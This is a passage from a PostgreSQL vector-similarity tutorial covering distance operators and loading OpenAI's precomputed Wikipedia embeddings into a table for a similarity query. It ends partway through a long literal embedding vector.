find customers with similar purchase histories, and in recommendation systems to suggest products based on shared preferences. It is particularly useful for asymmetric binary variables, where the presence of an attribute (e.g., an item purchased) is more significant than its absence.\n\nHamming distance is measured using `\u003c%\u003e` or `jaccard_distance` function.\n\n```sql\nSELECT name, \nvctr \u003c%\u003e '[4,4]' \nfrom VECTOR_TEST;\n```\n\n## Testing the vector similarity theory at scale\n\nAs we have just seen, each coordinate needs to be evaluated to calculate the vector similarity.. If our data set has `N` rows containing vectors with `M` dimensions, we’ll need to perform at least `N*M` calculations to measure the similarity. \n\nIf we are working with long vectors, such as the ones coming from AI embeddings (usually in the range of 1000 elements), we would need to perform at least 1000 calculations for every row in our data set to calculate full vector similarity. This would not scale well, but there are several optimizations that can help.\n\nTo experiment, let’s download the OpenAI pre-computed Wikipedia article embeddings, which are available in the OpenAI Cookbook. The file contains embeddings for 25,000 Wikipedia articles. \n\nFollow these steps:\n\n1. Open the terminal.\n2. Download the zip file:\n\n ```bash\n wget https://cdn.openai.com/API/examples/data/vector_database_wikipedia_articles_embedded.zip\n ```\n\n3. Unzip it with:\n\n ```bash\n unzip vector_database_wikipedia_articles_embedded.zip -d .\n ```\n\n4. Connect to PostgreSQL:\n\n ```bash\n psql \u003cSERVICE_URI\u003e\n ```\n\n5. Create a table named `articles`:\n\n ```sql\n CREATE TABLE IF NOT EXISTS articles (\n id INTEGER NOT NULL,\n url TEXT,\n title TEXT,\n content TEXT,\n title_vector vector(1536),\n content_vector vector(1536),\n vector_id INTEGER\n );\n ```\n\n6. Load the table with `25,000` articles and related embeddings:\n\n ```sql\n \\COPY public.articles (id, url, title, content, title_vector, content_vector, vector_id) FROM 'vector_database_wikipedia_articles_embedded.csv' WITH (FORMAT CSV, HEADER true, DELIMITER ',');\n ```\n\nNow, if we want to retrieve the top 10 articles which have a similar meaning to `Pineapple Pizza` we can issue the following query using the distance similarity:\n\n```sql\nwith data as (\n select '[0.02338707074522972, -0.017537152394652367, 0.014360039494931698, -0.025202563032507896, -0.017234569415450096, 0.0018643466755747795, -0.013893559575080872, -0.009581765159964561, 0.006732450798153877, -0.03714194521307945, 0.021848944947123528, 0.008800094947218895, -0.012323915027081966, 0.005071401130408049, -0.0010046670213341713, 0.008768576197326183, 0.03086336888372898, -0.010867739096283913, -0.001483755186200142, -0.006631589960306883, 0.00044835725566372275, -0.01773887313902378, 0.01492738164961338, -0.01236173789948225, 0.022340642288327217, 0.009815005585551262, 0.008579461835324764, -0.00020428228890523314, 0.011605282314121723, 0.014309609308838844, 0.05285099893808365, -0.0039430223405361176, -0.012985813431441784, -0.01689416542649269, -0.02065122500061989, 0.0007375437417067587, -0.003873680718243122, -0.010886650532484055, 0.001689416472800076, -0.022769300267100334, 0.01762540452182293, -0.03451956808567047, -0.009644802659749985, -0.023160135373473167, -0.042336273938417435, 0.0012576066656038165, -0.002456903224810958, -0.01002933457493782, -0.0002019183593802154, -0.01362880039960146, 0.018482720479369164, 0.009733055718243122, -0.028140131384134293, -0.005036730319261551, 0.005433869548141956, 0.010357131250202656, -0.0082012340426445, -0.023424893617630005, -0.00740065285935998, -0.01778930239379406, 0.01135313045233488, 0.0030967381317168474, -0.03149374946951866, 0.003227541921660304, -0.0014018059009686112, 0.005799489561468363, 0.003656199900433421, -0.011605282314121723, 0.021647224202752113, -0.008012120611965656, 0.021382465958595276, 0.007583462633192539, 0.01825578324496746, -0.02455957606434822, 0.013111889362335205, 0.006612678524106741, -0.01002933457493782, -0.013843129388988018, 0.0011441383976489305, 0.009436777792870998, 0.026501145213842392, -0.012424775399267673, 0.0019179289229214191, 0.038327060639858246, 0.017511935904622078, 0.0007111466256901622, -0.0398399718105793, 0.014902166090905666, 0.01705806329846382, -0.0058120968751609325, -0.01645289920270443, 0.005802641157060862, -0.0021842641290277243, 0.013200142420828342, -0.038629643619060516, 0.012626497074961662, -0.011674623936414719, 0.025063879787921906, 0.004006060305982828, -0.02570686675608158, -0.0014152014628052711, 0.01905006170272827, -0.014082673005759716, -0.02687937207520008, 0.002307188231498003, -0.007684323471039534, -0.0012316035572439432, -0.023550970479846, 0.023122312501072884, 0.0026712322141975164, -0.011838522739708424, 0.03119116649031639, 0.010023030452430248, -0.022907983511686325, 0.002924959873780608, 0.004500907845795155, 0.015116495080292225, 0.007148500997573137, -0.024143526330590248, -0.04362224414944649, 0.028316637501120567, 0.0036971743684262037, 0.027333244681358337, -0.00706024793908, 0.02720716968178749, 0.0025388526264578104, 0.001517638098448515, -0.021458109840750694, 0.004188870079815388, -0.0099032586440444, 0.027434106916189194, 0.00335992150940001, 0.013729660771787167, -0.005878286901861429, -0.0066757164895534515, 0.005052489694207907, -0.011208144016563892, -0.017511935904622078, -0.02303405851125717, -0.04329444840550423, 0.016087278723716736, 0.03217455744743347, -0.020260389894247055, 0.02179851569235325, -0.02310970425605774, 0.01286604069173336, 0.014196141622960567, 0.008674019016325474, -0.007785184308886528, -0.018268391489982605, 0.02343750186264515, 0.00034887553192675114, 0.0004243240400683135, 0.009991511702537537, 0.014435685239732265, 0.0001373044797219336, -0.028417497873306274, 0.011056852526962757, 0.005695476662367582, -0.009323309175670147, 0.010016726329922676, -0.016490722075104713, -0.010924472473561764, -0.008692930452525616, 0.012815610505640507, 0.03946174308657646, 0.004904350731521845, 0.023513147607445717, -0.0021291060838848352, -0.005043034441769123, -0.0021763844415545464, 0.04074771702289581, -0.042714498937129974, 0.025719475001096725, -0.007028728723526001, 0.007659108377993107, -0.018596189096570015, -0.003369377227500081, 0.01211589016020298, 0.011662016622722149, -0.005188021343201399, -0.00453557912260294, 0.013414471410214901, 0.032729290425777435, -0.01222305465489626, -0.03595683351159096, -0.00804994348436594, -0.027333244681358337, -0.007898651994764805, -0.005610375665128231, 0.013326218351721764, 0.028467928990721703, 0.01912570744752884, 0.0004979996010661125, -0.6854491829872131, -0.014700444415211678, 0.01694459468126297, -0.04112594574689865, 0.022857552394270897, 0.042058903723955154, 0.005216388497501612, -0.010672321543097496, -0.0071232859045267105, -0.022605400532484055, -0.003879984375089407, 0.017776696011424065, 0.038377489894628525, -0.0006792336935177445, -0.02174808457493782, -0.023160135373473167, 0.018217960372567177, -0.013225357048213482, -0.016162924468517303, 0.020840339362621307, -0.0008691354305483401, 0.0037728198803961277, 0.01689416542649269, 0.00024269602727144957, 0.040016476064920425, 0.0029958775267004967, 0.018570972606539726, -0.015683837234973907, -0.004273971542716026, 0.013691837899386883, -0.02469825930893421, 0.008888348005712032, 0.005310945212841034, -0.00878748670220375, 0.047707103192806244, 0.009272878989577293, -0.03192240744829178, 0.01286604069173336, 0.00370032642967999, 0.03729323670268059, -0.010212143883109093, -0.018709657713770866, 0.02627420797944069, 0.0015113343251869082, -0.024710867553949356, -0.00931700598448515, 0.016818519681692123, -0.0068270075134932995, 0.014813913032412529, -0.007778880186378956, 0.02179851569235325, 0.0021338339429348707, 0.0198065172880888, 0.021861553192138672, 0.0033473139628767967, -0.00144593243021518, 0.03991561755537987, 0.00053385243518278, -0.0048034898936748505, -0.008409259840846062, -0.0037034782581031322, 0.008276879787445068, -0.021508540958166122, -0.014977811835706234, -0.012191534973680973, 0.006051640957593918, 0.0014049578458070755, 0.009726752527058125, 0.019655225798487663, -0.010899257846176624, 0.008610980585217476, -0.002247302094474435, -0.014070065692067146, 0.0035742504987865686, 0.024433501064777374, 0.02594641037285328, 0.010218448005616665, 0.00415419926866889, -0.003927262965589762, 0.0017067518783733249, 0.0069593871012330055, 0.00037054481799714267, -0.013994419947266579, 0.0002880045212805271, 0.024622615426778793, -0.002004606183618307, -0.04543773829936981, 0.006168261170387268, 0.012040244415402412, -0.00014479024684987962, 0.027156738564372063, 0.0073943487368524075, -0.012639104388654232, 0.01853315159678459, 0.0016626253491267562, -0.007734753657132387, -0.02927481383085251, 0.012260876595973969, 0.015028242021799088, -0.016440290957689285, -0.02013431489467621, 0.01820535399019718, 0.02362661622464657, -0.012771484442055225, 0.006921564694494009, -0.0072430577129125595, -0.002504181582480669, 0.006161957513540983, 0.04493343457579613, -0.02594641037285328, 0.013401863165199757, -0.02819056063890457, -0.026425499469041824, -0.012292396277189255, 0.018999630585312843, -0.02619856223464012, 0.03126681223511696, -0.025000842288136482, -0.015709051862359047, -0.014574368484318256, -0.0008234329288825393, -0.002515213331207633, 0.015608190558850765, -0.0013332521775737405, -0.008604677394032478, 0.024004843086004257, -0.0018249480053782463, -0.006120982579886913, 0.007823007181286812, -0.001020426512695849, 0.005298337899148464, 0.013263179920613766, 0.0029454471077769995, 0.0029202320147305727, -0.015166925266385078, -0.010691232979297638, 0.013918774202466011, -0.022554971277713776, 0.023311425000429153, -0.034040480852127075, -0.005616679321974516, -0.00044875123421661556, -0.02387876622378826, 0.022164136171340942, -0.0071106781251728535, -0.02010909840464592, -0.00795538630336523, -0.013502724468708038, 0.006795488763600588, 0.009896954521536827, 0.0005756150931119919, -0.030989445745944977, 0.00514389481395483, 0.007457386702299118, 0.017348038032650948, -0.01309928111732006, 0.02310970425605774, 0.001585403922945261, 0.0009061702294275165, -0.035326454788446426, 0.015595583245158195, 0.025845550000667572, 0.002037700964137912, -0.0032968835439532995, 0.007917563430964947, -0.01378009095788002, -0.007961690425872803, -0.0039051997009664774, 0.028392283245921135, -0.016062064096331596, 0.020777301862835884, -0.009959992952644825, 0.003832706017419696, -0.009241360239684582, -0.025895981118083, 0.024168740957975388, -0.00444102194160223, -0.0026428650598973036, 0.0011709295213222504, 0.010552548803389072, -0.012910167686641216, 0.03020777553319931, -0.006997209973633289, 0.02294580638408661, -0.004812945611774921, -0.005897198338061571, 0.003930415026843548, 0.03262843191623688, -0.020537756383419037, 0.0030321243684738874, -0.004217237234115601, 0.02371486835181713, 0.008667714893817902, 0.014082673005759716, 0.019087884575128555, -0.004018668085336685, 0.00436537666246295, -0.008005816489458084, -0.012405863963067532, 0.01907527633011341, -0.0022599096409976482, -0.005266818683594465, 0.010262575000524521, -0.012626497074961662, 0.03641070798039436, -0.02695501782000065, -0.0024364159908145666, -0.027156738564372063, 0.034998659044504166, 0.019667834043502808, 0.001085040275938809, -0.029804332181811333, -0.020260389894247055, 0.0007206022855825722, -0.007533032447099686, 0.04112594574689865, -0.017562367022037506, 0.021533755585551262, 0.005030426662415266, 0.009090068750083447, 0.0038673768285661936, 0.006789184641093016, -0.009840220212936401, -0.0020471566822379827, -0.007848221808671951, 0.013036243617534637, 0.005339312367141247, 0.00012617434549611062, 0.02406788058578968, -0.04286579042673111, -0.0002070401969831437, 0.0191004928201437, -0.005635590758174658, 0.0044000474736094475, 0.027408890426158905, 0.008566854521632195, 0.00746369082480669, 0.0031786875333637, 0.008138196542859077, 0.015809912234544754, 0.005487451795488596, 0.023891374468803406, 0.0061052232049405575, 0.0012631224235519767, 0.008409259840846062, -0.005440173204988241, 0.03754539042711258, -0.012071763165295124, -0.023185350000858307, 0.03827663138508797, -0.008497512899339199, -0.011888952925801277, -0.023677045479416847, 0.027988839894533157, 0.04120158776640892, -0.021306820213794708, -0.005118679720908403, 0.008705537766218185, 0.019340036436915398, 0.02229021117091179, 0.012847129255533218, -0.004062794614583254, -0.0021306818816810846, -0.002497877925634384, -0.0023576184175908566, -0.02196241356432438, 0.00955024641007185, -0.02046211063861847, -0.015103887766599655, -0.0018202201463282108, 0.0006485026679001749, -0.03588118776679039, 0.015860343351960182, -0.020752085372805595, -0.014574368484318256, -0.015444292686879635, -0.0008415563497692347, 0.019680440425872803, 0.0015349735040217638, -0.008522727526724339, -0.010331916622817516, -0.04120158776640892, 0.033737897872924805, 0.003596313763409853, -0.010602978989481926, -0.013137103989720345, -0.014776090160012245, 0.005673413630574942, -0.008087766356766224, 0.005531578324735165, 0.009972600266337395, 0.013590977527201176, 0.019037453457713127, 0.01806667074561119, -0.022189350798726082, 0.0008131892536766827, 0.01823056861758232, -0.007205235306173563, 0.015242571011185646, -0.0013844704953953624, 0.003274820279330015, 0.003823250299319625, -0.013326218351721764, -0.008560550399124622, 0.04682457447052002, 0.0071232859045267105, -0.01143508031964302, -0.004926414228975773, 0.011233358643949032, 0.000963692320510745, 0.010117587633430958, -0.009978904388844967, -0.01675548031926155, -0.015192140825092793, -0.0024253842420876026, -0.005890894215553999, -0.003218086203560233, -0.014385255053639412, 0.026778511703014374, -0.006864830385893583, -0.0006410169298760593, -0.013855736702680588, -0.028089700266718864, 0.01028778962790966, 0.09274140000343323, 0.01647811383008957, 0.011365738697350025, 0.001995150465518236, -0.004157351329922676, 0.0016452899435535073, -0.017663227394223213, -0.008018424734473228, -0.0039430223405361176, -0.027106309309601784, 0.012059155851602554, 0.02090337686240673, 0.00654964055866003, 0.004680566024035215, 0.005950780585408211, -0.009770878590643406, -0.011340523138642311, -0.016906771808862686, 0.00946829654276371, -0.008995512500405312, -0.008781183511018753, 0.00839034840464592, 0.01062819454818964, 0.019440896809101105, 0.019503934308886528, -0.002902896609157324, 0.04715237021446228, 0.03149374946951866, -0.005566249135881662, -0.015973810106515884, -0.020197352394461632, -0.0015909196808934212, 0.0016484417719766498, -0.012065459042787552, 0.0038011870346963406, -0.009480904787778854, 0.019415682181715965, -0.0027279662899672985, 0.027333244681358337, 0.0013545274268835783, -0.00019157619681209326, 0.010199536569416523, -0.003378832945600152, -0.013981812633574009, 0.006921564694494009, 0.004340161103755236, -0.011781788431107998, 0.018860947340726852, -0.010155410505831242, 0.004589161369949579, 0.031998053193092346, 0.0031077698804438114, 0.005755363032221794, -0.005966539960354567, 0.00803733617067337, 0.0011843250831589103, 0.01048951130360365, -0.014902166090905666, 0.018104493618011475, -0.017259784042835236, -0.008239056915044785, -0.013174926862120628, -0.01683112606406212, 0.00045269110705703497, 0.00195417576469481, -0.03116595186293125, 0.0032243900932371616, -0.005928717087954283, -0.013754875399172306, -0.01691938005387783, -0.013326218351721764, -0.013111889362335205, -0.013729660771787167, -0.010325612500309944, 0.01970565691590309, 0.024080488830804825, 0.003873680718243122, 0.0020361251663416624, 0.01970565691590309, 0.018154922872781754, 0.007507817354053259, -0.0129479905590415, -0.01237434521317482, -0.01656636781990528, -0.009739359840750694, 0.027156738564372063, 0.032351065427064896, -0.007753665093332529, 0.015570368617773056, -0.0028634979389607906, 0.02371486835181713, 0.00654964055866003, 0.011327915824949741, 0.00501466728746891, -0.027156738564372063, -0.0070917666889727116, 0.0007670928025618196, 0.007614981848746538, -0.012550851330161095, 0.007211538963019848, -0.010949688032269478, -0.011561156250536442, 0.0058089448139071465, -0.014675229787826538, -0.004305490292608738, 0.0009573885472491384, 0.0029076244682073593, 0.009090068750083447, -0.014334824867546558, -0.007413260173052549, 0.0062502105720341206, 0.0037349972408264875, 0.008024727925658226, 0.016604190692305565, 0.003798035206273198, 0.04387439787387848, -0.021622009575366974, 0.007867133244872093, -0.026450714096426964, -0.01715892367064953, 0.018671834841370583, -0.02128160372376442, -0.0029832699801772833, -0.0023276754654943943, 0.0003541943442542106, -0.02453436143696308, -0.01724717766046524, -0.027736688032746315, -0.014233964495360851, -0.01615031622350216, 0.0002905654546339065, 0.019138315692543983, 9.155274165095761e-05, -0.006294337101280689, -0.008333614096045494, -0.004188870079815388, 0.0005752210854552686, -0.006915260571986437, -0.004920110106468201, -0.031065091490745544, -0.021861553192138672, 0.01331361010670662, -0.00034296573721803725, 0.01945350505411625, -0.020209958776831627, -0.02990519255399704, -0.01853315159678459, -0.009291790425777435, -0.008510120213031769, 0.015646014362573624, 0.007551943883299828, -0.008629892021417618, -0.0004408715176396072, -0.010974903590977192, -0.026173347607254982, -0.020033452659845352, -0.02090337686240673, -0.01905006170272827, -0.005433869548141956, 0.015683837234973907, 0.015393861569464207, 0.01028778962790966, -0.004800338298082352, 0.00028248870512470603, -0.0145869767293334, 0.0018265239195898175, -0.0013427078956738114, -0.0018533150432631373, -0.029653040692210197, 0.027459321543574333, 0.03383876010775566, 0.013338825665414333, 0.0034954531583935022, 0.016352038830518723, -0.012557155452668667, 0.008453385904431343, -0.0003792125207837671, -0.02575729787349701, -0.006833311170339584, -0.01656636781990528, -0.02305927313864231, -0.0029848457779735327, -0.01509127952158451, -0.007898651994764805, 0.02125638909637928, 0.010205840691924095, 0.01495259627699852, 0.0012442111037671566, 0.002913928125053644, -0.006130438297986984, 0.018457505851984024, -0.02950175106525421, 0.006174564827233553, -0.014007027260959148, 0.015759481117129326, -0.0087307533249259, -0.023815728724002838, 0.013414471410214901, -0.02444610930979252, 0.0038957439828664064, 0.010773181915283203, 0.015028242021799088, -0.02387876622378826, -0.014776090160012245, -0.01064080186188221, 0.032401494681835175, -0.0011134074302390218, 0.00971414428204298, 0.005925565026700497, -0.0356290377676487, -0.022933198139071465, -0.01280930731445551, -0.013200142420828342, -0.040066905319690704, 0.014813913032412529, -0.01928960531949997, -0.018659226596355438, 0.017499329522252083, -0.0031172255985438824, -0.030737293884158134, -0.0001579888048581779, 0.01413310319185257, 0.023992234840989113, 0.01328839547932148, 0.02861921861767769, 0.03641070798039436, -0.004708933178335428, -0.013477508910000324, 0.026980232447385788, -0.01893659308552742, -0.02032342739403248, 0.023500539362430573, -0.013036243617534637, 0.011384650133550167, -0.013654015026986599, -0.011933079920709133, 0.02078990824520588, -0.011756573803722858, -0.006120982579886913, 0.017398467287421227, 0.005928717087954283, 0.003331554587930441, -0.021218566223978996, -0.008257968351244926, -0.01678069680929184, 0.012172623537480831, -0.030359065160155296, -0.011933079920709133, -0.001746150548569858, -0.009045942686498165, -0.03222499042749405, 0.013137103989720345, -0.02526560053229332, 0.022819729521870613, -0.007425867952406406, -0.008239056915044785, 0.007142197340726852, -0.009342220611870289, -0.017032848671078682, 0.011132498271763325, 0.0024033209774643183, 0.03194762021303177, -0.005790033843368292, 0.0291739534586668, -0.008138196542859077, 0.006073704455047846, 0.01877269521355629, 0.03310751914978027, 0.00874336063861847, 0.021168136969208717, -0.013679230585694313, -0.0014632679522037506, -0.001120499218814075, -0.00746369082480669, 0.021243780851364136, 0.0025782512966543436, -0.014435685239732265, -0.007886044681072235, -0.014776090160012245, -0.010558852925896645, 0.012134800665080547, 0.010729054920375347, -0.01778930239379406, -0.004705781117081642, -0.010224752128124237, -0.008579461835324764, -0.03850356489419937, 0.003077826928347349, -0.024156134575605392, -0.0065307291224598885, -0.024622615426778793, 0.004718388896435499, 0.015923380851745605, 0.012500421144068241, 0.027408890426158905, 0.016036849468946457, -0.02160940133035183, -0.013162319548428059, -0.015356039628386497, 0.0202729981392622, 0.007066551595926285, 0.0026633525267243385, -0.01642768457531929, -0.0038011870346963406, 0.0025940106716006994, -0.010281486436724663, 0.01562079880386591, -0.02884615585207939, 0.011025333777070045, -0.011075763963162899, 0.005219540558755398, 0.013515331782400608, -0.006083160173147917, 0.0033819847740232944, 0.02179851569235325, 0.0068270075134932995, 0.015709051862359047, -0.002231542719528079, -0.011983510106801987, 0.005881438497453928, -0.009146803058683872, 0.0025498841423541307, 0.0036309845745563507, 0.018482720479369164, -0.016339430585503578, -0.012393256649374962, -0.0010621891124173999, 0.005188021343201399, -0.01427178643643856, 0.010798397473990917, -0.024143526330590248, 0.04914436861872673, -0.008560550399124622, 0.0030132129322737455, -0.007173716090619564, -0.006373134441673756, 0.010905561037361622, 0.024004843086004257, -0.006732450798153877, -0.0077032349072396755, 0.00631640013307333, 0.03525080904364586, 0.005323552992194891, 0.005745907314121723, -0.007684323471039534, -0.016717659309506416, -0.02177330106496811, -0.0007186323637142777, -0.03706630319356918, -0.035679467022418976, -0.012708446010947227, 0.02826620638370514, 0.013893559575080872, -0.023815728724002838, -0.011000118218362331, -0.022328034043312073, -0.021079882979393005, -0.022151527926325798, -0.012777787633240223, -0.018760086968541145, 0.029022661969065666, -0.009499815292656422, -0.017259784042835236, 0.007224146742373705, 0.004746756050735712, 0.006035881582647562, -0.015406469814479351, 0.001899017603136599, 0.023160135373473167, -0.018898770213127136, 0.0029107762966305017, 0.011611586436629295, -0.017688442021608353, -0.012323915027081966, 0.008837917819619179, 0.01461219135671854, 0.015608190558850765, 0.011718750931322575, -0.01379269827157259, 0.025971626862883568, -0.011605282314121723, 0.005575704853981733, 0.016188139095902443, 0.019201353192329407, 0.022983629256486893, -0.030812939628958702, -0.016402468085289, -0.013023636303842068, 0.02357618510723114, -0.00907115824520588, -0.0001657700486248359, 0.0021748084109276533, -0.01280930731445551, 0.02545471489429474, -0.00201878952793777, -0.019201353192329407, -0.009310701861977577, -0.03023299016058445, -0.003033700166270137, -0.013414471410214901, 0.001082676462829113, -0.013540547341108322, 0.0024175045546144247, -0.011151409707963467, -0.008592069149017334, -0.007369133643805981, -0.02297102101147175, -0.016856342554092407, 0.01493998896330595, -0.016995025798678398, -0.011453991755843163, -0.003757060505449772, 0.011970902793109417, -0.020033452659845352, -0.0033819847740232944, -0.018243176862597466, -0.0012119041057303548, 0.0071232859045267105, 0.01905006170272827, 0.016856342554092407, 0.0005224268534220755, -0.01853315159678459, -0.013061458244919777, 0.006209236104041338, 0.0019762390293180943, -0.008314702659845352, -0.0018265239195898175, -0.012683231383562088, 0.0027531813830137253, 0.016251178458333015, -0.024899981915950775, -0.034040480852127075, 0.0129479905590415, 0.0036215288564562798, -0.010539941489696503, 0.020676439628005028, 0.22653310000896454, 0.02474869042634964, 0.009764575399458408, 0.037721894681453705, 0.00045702498755417764, 0.025606006383895874, -0.012531939893960953, 0.01121444720774889, -0.00795538630336523, 0.012733661569654942, 0.01631421595811844, -0.01204654760658741, -0.006927868351340294, -0.004422110505402088, -0.0033347064163535833, -0.023727476596832275, -0.020487327128648758, -0.03711673244833946, -0.009499815292656422, -0.05981038510799408, -0.011145105585455894, 0.0009400530834682286, -0.004283427260816097, -0.004337009508162737, 0.02587076462805271, 0.0013789546210318804, -0.005745907314121723, -0.01447350811213255, 0.015192140825092793, 0.02469825930893421, 0.008478601463139057, -0.007791487965732813, 0.0042266929522156715, 0.013729660771787167, 0.0018801061669364572, 0.014347432181239128, -0.001955751795321703, -0.021357249468564987, 0.021407680585980415, 0.00023796818277332932, -0.009335917420685291, 0.0005303065408952534, 0.022189350798726082, -0.004012363962829113, -0.014574368484318256, 0.003169231815263629, -0.01202133297920227, 0.026173347607254982, 0.013805306516587734, 0.012185231782495975, -0.023588793352246284, -0.008831613697111607, 0.00840295571833849, 0.012418472208082676, -0.0025026057846844196, -0.00025175773771479726, 0.023122312501072884, -0.008384044282138348, -0.0009928473737090826, 0.01994520053267479, 0.018873555585741997, 0.024572184309363365, -0.008018424734473228, 0.0009597524767741561, -0.017285000532865524, 0.0069719948805868626, -0.022038059309124947, -0.00807515811175108, 0.009159411303699017, -0.015835126861929893, 0.015469507314264774, -0.03565425053238869, 0.002256757812574506, 0.009090068750083447, -0.033334456384181976, -0.0195669736713171, 0.04140331223607063, 0.011378346011042595, 0.022554971277713776, 0.0034103519283235073, -0.024345247074961662, -0.0018076125998049974, -0.013326218351721764, 0.002704326994717121, -0.004437870346009731, -0.04856441915035248, 0.005616679321974516, -0.002296156482771039, -0.00852903164923191, -0.008421867154538631, -0.00671984301880002, -0.006360527127981186, 0.006354223005473614, 0.00300848507322371, 0.005074553191661835, 0.011945687234401703, -0.03086336888372898, 0.017045455053448677, -0.009253967553377151, 0.0005295185837894678, -0.010086068883538246, -0.025139525532722473, 0.003076250897720456, -0.035729896277189255, -0.024269601330161095, -0.022933198139071465, 0.007734753657132387, 0.019693048670887947, 0.024105703458189964, -0.00979609414935112, -0.0068270075134932995, -0.0009329613531008363, -0.00012607585813384503, -0.01565862074494362, 3.0533996323356405e-05, -0.0035900098737329245, 0.0034765417221933603, -0.011907864362001419, 0.00912789162248373, -0.017095886170864105, 0.01098120678216219, -0.011479206383228302, -0.0016437139129266143, 0.005749058909714222, -0.019554365426301956, -0.0019147770944982767, 0.0018438594415783882, 0.008182322606444359, 0.04044513404369354, -0.015368646942079067, 0.020537756383419037, -0.018709657713770866, 0.009108980186283588, 0.010609283111989498, -0.016818519681692123, 0.01129639707505703, 0.01447350811213255, 0.024433501064777374, 0.00654964055866003, -0.014561761170625687, 0.006108375266194344, -0.004466237034648657, 0.007299792021512985, -0.004765667486935854, -0.028367066755890846, -0.030787723138928413, -0.006461387500166893, -0.018734872341156006, -0.01098120678216219, 0.0003865012840833515, -0.02761061303317547, -0.020777301862835884, 0.0006953871343284845, 0.004422110505402088, 0.0017067518783733249, 0.003864225000143051, -0.00127021421212703, -0.03615855425596237, 0.0063920458778738976, 0.016503330320119858, -0.008302095346152782, -0.007520424667745829, 0.002029821276664734, 0.00030199106549844146, -0.0396130345761776, -0.009670018218457699, -0.16046935319900513, 0.02207588218152523, -0.0028634979389607906, -0.012670623138546944, 0.00874336063861847, -0.003993452526628971, 0.01188264973461628, 0.002001454122364521, 0.01893659308552742, -0.0009605404338799417, 0.00815710797905922, 0.00023343732755165547, -0.0266020055860281, -0.016768088564276695, 0.018407074734568596, -0.016931988298892975, -0.009676322340965271, 0.016465507447719574, -0.0028146435506641865, 0.0006173776928335428, -0.00804994348436594, 0.009430473670363426, 0.004926414228975773, -0.007211538963019848, 0.013843129388988018, 0.010571460239589214, -0.020852945744991302, 0.008667714893817902, 0.0008896227809600532, 0.0014585400931537151, -0.0062470585107803345, -0.006562248338013887, 0.03457000106573105, 0.0076906271278858185, 0.008043639361858368, -0.014990419149398804, 0.01572166010737419, 0.0024616310838609934, 0.00567656522616744, 0.0014152014628052711, 0.03424220159649849, 0.014902166090905666, 0.00982130877673626, 0.005288882181048393, 0.0009857555851340294, -0.0036183770280331373, 0.013376648537814617, -0.0008502240525558591, 0.006902653258293867, 0.0010984358377754688, -0.008699233643710613, -0.021218566223978996, 0.014044850133359432, 0.01343968603760004, 0.012147408910095692, 0.00491065438836813, 0.00839034840464592, -0.007224146742373705, 0.006212387699633837, 0.006341615691781044, -0.00019689502369146794, 0.0017666378989815712, 0.002770517021417618, 0.003558491123840213, -0.014057457447052002, -0.023147527128458023, 0.0028051878325641155, 0.023500539362430573, -0.020827731117606163, -0.0006118618766777217, -0.00956285372376442, 0.0020660681184381247, 0.01376748364418745, 0.006808096077293158, -0.005761666689068079, 0.02725760079920292, -0.015255178324878216, 0.0342169888317585, 0.00931700598448515, -0.011510726064443588, -0.013906166888773441, 0.02032342739403248, -0.03018255904316902, 0.005339312367141247, 0.00874336063861847, 0.007438475266098976, -0.018659226596355438, 0.019062669947743416, 0.000810825324151665, -0.013691837899386883, 0.018974415957927704, -0.00706024793908, 0.001746150548569858, -0.027308030053973198, -0.00631640013307333, 0.020663833245635033, -0.001984118716791272, 0.00555994501337409, 0.0152930011972785, 0.002165352925658226, -0.013502724468708038, -0.014334824867546558, -0.03247714042663574, 0.01975608617067337, 0.02993040718138218, 0.011769181117415428, -0.002740573836490512, 0.038377489894628525, 0.006086311768740416, -0.01642768457531929, -0.0005377923371270299, 0.0076906271278858185, 0.021180743351578712, 0.04510994255542755, -0.007873437367379665, 0.0036309845745563507, -0.013754875399172306, 0.006845918949693441, 0.017146315425634384, 0.006322704255580902, 0.039688680320978165, -0.002959630684927106, -0.0007359678274951875, 0.025807727128267288, 0.009525030851364136, 0.01064080186188221, -0.06202932074666023, -0.010899257846176624, 0.010439081117510796, 0.008321006782352924, -0.027812333777546883, 0.01689416542649269, 0.007356526330113411, 0.02861921861767769, -0.027509750798344612, 0.014662621542811394, -0.011031636968255043, -0.02720716968178749, 0.007980601862072945, 0.008938778191804886, 0.0226180087774992, -0.013074066489934921, -0.015015634708106518, 0.00828318390995264, 0.005191173404455185, -0.0023008843418210745, 0.006275425665080547, -0.003092010272666812, 0.005503211170434952, -0.003227541921660304, -0.019415682181715965, -0.006073704455047846, -0.02322317287325859, 0.03159460797905922, 0.006978298537433147, 0.018407074734568596, -0.004551338497549295, 0.013502724468708038, 0.002564067719504237, -0.015267785638570786, -0.007545639760792255, 0.008825309574604034, -0.012229357846081257, 0.017448898404836655, 0.008837917819619179, -0.017726264894008636, 0.008674019016325474, -0.012922775000333786, 0.012355433776974678, -0.032376278191804886, 0.011315307579934597, -0.014624799601733685, -0.016377253457903862, 0.01413310319185257, 0.00946829654276371, -0.017827125266194344, -0.012059155851602554, -0.015204748138785362, -0.0032653645612299442, 0.005556793417781591, 0.015784697607159615, -0.01528039388358593, 0.0019053213763982058, -0.003501756815239787, -0.0026617764960974455, -0.010899257846176624, -0.038024477660655975, 0.004409503191709518, -0.021319426596164703, 0.028165346011519432, 0.023399678990244865, 0.006294337101280689, -0.020197352394461632, -0.03179633244872093, 0.009997814893722534, -0.009896954521536827, -0.021647224202752113, -0.010268878191709518, -0.005351920146495104, -0.004545034375041723, -0.021647224202752113, -0.02652635984122753, -0.03648635372519493, -0.023639222607016563, 0.010804700665175915, -0.004812945611774921, -0.011012725532054901, -0.021659832447767258, 0.011245965957641602, -0.021533755585551262, -0.0012308155419304967, 0.0035364278592169285, 0.005827856250107288, -0.005626135040074587, 0.0037255415227264166, -0.02687937207520008, -0.0030636433511972427, 0.018318822607398033, 0.029804332181811333, -0.013364040292799473, -0.021924590691924095, -0.005969691555947065, -0.008724449202418327, 0.0032905798871070147, 0.03560382127761841, -0.0024805425200611353, -0.04130245000123978, -0.0035742504987865686, -0.07514120638370514, 0.012721054255962372, 0.010905561037361622, -0.006820703856647015, 0.009134195744991302, 0.0014750874834135175, 0.01048951130360365, -0.00026692621759139, 0.0027657891623675823, 0.0006441688165068626, -0.015368646942079067, 0.0030998901929706335, -0.0035647947806864977, -0.012601281516253948, -0.00016665652219671756, -0.006165109109133482, 0.01626378484070301, 0.0039524780586361885, 0.006518121808767319, 0.0007308459607884288, 0.014196141622960567, 0.01296059787273407, 0.019340036436915398, -0.0342169888317585, 0.010218448005616665, -0.001651593716815114, -0.006726146675646305, 0.019491327926516533, -0.010092372074723244, -0.006360527127981186, 0.014057457447052002, -0.024673044681549072, 